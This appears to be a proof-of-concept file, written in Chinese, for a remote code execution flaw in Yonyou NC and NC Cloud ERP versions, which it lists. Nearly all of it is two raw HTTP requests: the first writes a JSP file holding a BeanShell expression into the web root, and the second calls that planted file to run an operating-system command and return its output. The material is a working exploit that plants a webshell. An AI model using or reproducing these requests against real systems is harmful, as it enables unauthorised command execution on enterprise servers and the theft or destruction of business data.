48 lines
1.9 KiB
Markdown
48 lines
1.9 KiB
Markdown
## 用友nc-cloud RCE
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```
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漏洞影响
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NC63、NC633、NC65
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NC Cloud1903、NC Cloud1909
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NC Cloud2005、NC Cloud2105、NC Cloud2111
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YonBIP高级版2207
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先发送数据包，返回200
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POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
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Host: 127.0.0.1:8080
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Cookie: cookiets=168170496; JSESSIONID=33A343770FF.server
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If-None-Match: W/"1571-1589211696000"
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If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 249
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{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}
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再发送数据包执行命令，返回命令执行结果
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POST /404.jsp?error=bsh.Interpreter HTTP/1.1
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Host: 127.0.0.1:8080
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Cookie: cookiets=1681785232226; JSESSIONID=334D3ED07A343770FF.server
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If-None-Match: W/"1571-1589211696000"
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If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 104
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cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ping 8.8.8.8").getInputStream())
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```
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